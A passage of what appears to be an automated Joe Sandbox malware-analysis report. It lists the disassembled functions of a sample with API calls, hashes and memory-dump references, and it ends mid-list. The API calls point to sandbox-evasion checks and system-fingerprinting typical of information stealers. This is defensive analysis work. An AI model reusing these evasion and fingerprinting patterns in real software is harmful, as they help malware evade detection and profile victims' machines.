Opcode Fuzzy Hash: c74b80f3d7f63c19a5843d2d139c03d03454b16b060e54c4c6f20d0e26cf383a
Instruction Fuzzy Hash: 7911197590424AEFCF059FE8C8989AEBBB6FF49310F54416DF215E7250DB318986CB60

Function 001810F0 Relevance: 9.1, APIs: 6, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 001810AA
_memset.LIBCMT ref: 001810D0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 001810E6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,0019850E), ref: 00181100
VirtualAllocExNuma.KERNEL32(00000000), ref: 00181107
ExitProcess.KERNEL32 ref: 00181112

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: d8effb706a6b9e48797525c297f4d28f9039ce6b499cb6a3b657c4b074c640f5
Instruction ID: 6028f03cd4c72310d19a15e2dc7475317a1dd1a850ea5dc4a47fbf9073d75dbb
Opcode Fuzzy Hash: d8effb706a6b9e48797525c297f4d28f9039ce6b499cb6a3b657c4b074c640f5
Instruction Fuzzy Hash: 1CF0F673381324B7E22132752C5EFBB5A6CAB45FA2F204010F309FB2C0D7659A459BB4

Function 00191659 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001916A3

Part of subcall function 001923AA: malloc.MSVCRT ref: 001923AF
Part of subcall function 001923AA: strncpy.MSVCRT ref: 001923C0

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 001916CB
lstrcatA.KERNEL32(?,001B6ED4,?,?,?,?,?), ref: 001916E8
GetCurrentHwProfileA.ADVAPI32(?), ref: 00191674

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Strings

Unknown, xrefs: 00191711

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfile_memsetlstrcpymallocstrncpy
String ID: Unknown
API String ID: 2781187439-1654365787
Opcode ID: 52e71de14b04bd7c0a9a06e18cb66920f03f340dc8b14b45fe098532d85e6e04
Instruction ID: c9c641c6de6963628c2b086e092470495bed854a07ac2aed93c8baa44d036881
Opcode Fuzzy Hash: 52e71de14b04bd7c0a9a06e18cb66920f03f340dc8b14b45fe098532d85e6e04
Instruction Fuzzy Hash: 82112E76A00228ABDF12FB64DC85BDDB3B8AB28300F4004A6FA45E7151DB74AF848F50

Function 0019BC66 Relevance: 7.6, APIs: 5, Instructions: 99fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,759774F0,?,0019CC33,?,0019CCC1,00000000,06400000,00000003,00000000,001975C1,.exe,001B6C64), ref: 0019BCB3
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,759774F0,?,0019CC33,?,0019CCC1,00000000,06400000,00000003,00000000), ref: 0019BCEB

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: 0c3a2d90382103f13b56e25044f2fe69d7926029c6aa9c8c67317950ff340161
Instruction ID: 357452fe9f3fe5667cbc782d91bfca8825e303a57c7dee2d45cb7e0394dcd6f6
Opcode Fuzzy Hash: 0c3a2d90382103f13b56e25044f2fe69d7926029c6aa9c8c67317950ff340161
Instruction Fuzzy Hash: B83194B0508B45DFDF349F65AAC4B677AE8EB1475CF108B2EF19B82980D330A884CB51

Function 00184AB6 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AE8
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AEE
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AF4
lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00184B06
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00184B0E

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: 8623486b9572516f7c8f8c19fe6d49ada99dceb963f2b8d9a5204d90b1caebc0
Instruction ID: a34de3fee7b008c8b438edc91f22b8543eed7c16db92fc5f554c9bef4b6ae701
Opcode Fuzzy Hash: 8623486b9572516f7c8f8c19fe6d49ada99dceb963f2b8d9a5204d90b1caebc0
Instruction Fuzzy Hash: F5015E31D00218ABCB05ABA9EC45ADEBFB8EF55330F108216F925E72E0DB7056018F94

Function 00190F26 Relevance: 7.5, APIs: 5, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00194292,Processor: ,[Hardware],001B6958,00000000,TimeZone: ,001B6948,00000000,Local Time: ,001B6934), ref: 00190F3A
HeapAlloc.KERNEL32(00000000,?,?,?,00194292,Processor: ,[Hardware],001B6958,00000000,TimeZone: ,001B6948,00000000,Local Time: ,001B6934,Keyboard Languages: ,001B6918), ref: 00190F41
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,001B6890,?,?,?,00194292,Processor: ,[Hardware],001B6958,00000000,TimeZone: ,001B6948,00000000,Local Time: ), ref: 00190F5F
RegQueryValueExA.KERNEL32(001B6890,00000000,00000000,00000000,000000FF,?,?,?,00194292,Processor: ,[Hardware],001B6958,00000000,TimeZone: ,001B6948,00000000), ref: 00190F7B
RegCloseKey.ADVAPI32(001B6890,?,?,?,00194292,Processor: ,[Hardware],001B6958,00000000,TimeZone: ,001B6948,00000000,Local Time: ,001B6934,Keyboard Languages: ,001B6918), ref: 00190F84

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: aad0cacb4bd7f41591c4b2db16d8328ba387db15b84bbc00d9f0170b6691b07f
Instruction ID: 380235bb6bb2f8a8c13c6a8f54e93eb05a873860c13ca6425debee51221dc7c2
Opcode Fuzzy Hash: aad0cacb4bd7f41591c4b2db16d8328ba387db15b84bbc00d9f0170b6691b07f
Instruction Fuzzy Hash: 68F03075641304FFEB126B91EC0AFAA7F7DEB44B01F140115F701A90A0D7B19A409B20

Function 00196ED9 Relevance: 4.6, APIs: 3, Instructions: 70sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?), ref: 00196F40
CreateThread.KERNEL32(00000000,00000000,00196E08,?,00000000,00000000), ref: 00196F78
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00196F80

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID:
API String ID: 4198075804-0
Opcode ID: b472355484f62b0bbe4d8416573849b503e83f8f4b293f11e2bf96b9e2184377
Instruction ID: 81b7c8711d9ead2975a7c8d299fd3e6904e4754de0ae7d8befa0a3e1997129c8
Opcode Fuzzy Hash: b472355484f62b0bbe4d8416573849b503e83f8f4b293f11e2bf96b9e2184377
Instruction Fuzzy Hash: 3621E47690011DABDF02EF64EC868DEBBB8FF54354F114126F916A7151D730AE86CBA0

Function 0019221F Relevance: 4.5, APIs: 3, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00193E2A,00000000,?), ref: 00192241
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0019225C
CloseHandle.KERNEL32(00000000), ref: 00192263

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: da81354de6e2874130b7592a7a3ac8190e12a7915167c9259aed9dc9b47688c8
Instruction ID: d30d64643ab4c986196bc0ffe0b8568ac311b4cb8e58119368d27bd76f208594
Opcode Fuzzy Hash: da81354de6e2874130b7592a7a3ac8190e12a7915167c9259aed9dc9b47688c8
Instruction Fuzzy Hash: 2DF05475604208ABDB11BB68EC45FEE7BBC9B44700F00005AF645DB190DFB4D9858B95

Function 00190C5A Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00181385), ref: 00190C66
HeapAlloc.KERNEL32(00000000,?,?,?,00181385), ref: 00190C6D
GetComputerNameA.KERNEL32(00000000,00181385), ref: 00190C81

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 12f71ecc2a2acdaed44453049586bb971b2495d4c767c505b4f382a2fd648728
Instruction ID: b4960d84968970b4d8d411b3ca8f477a02fbb5c2580cd6a4f14e65d7bb7fa994
Opcode Fuzzy Hash: 12f71ecc2a2acdaed44453049586bb971b2495d4c767c505b4f382a2fd648728
Instruction Fuzzy Hash: 62E08CB1204204BBD741AB999C4DF8F7BACDB88751F000264F605D2150E7B0C9848720

Function 0019CBFD Relevance: 2.5, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0019CC0E

Part of subcall function 0019BBB1: lstrlenA.KERNEL32(?,0019CC1F,0019CCC1,00000000,06400000,00000003,00000000,001975C1,.exe,001B6C64,001B6C60,001B6C5C,001B6C58,001B6C54,001B6C50,001B6C4C), ref: 0019BBE3
Part of subcall function 0019BBB1: malloc.MSVCRT ref: 0019BBEB
Part of subcall function 0019BBB1: lstrcpyA.KERNEL32(00000000,?), ref: 0019BBF6

malloc.MSVCRT ref: 0019CC4B

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
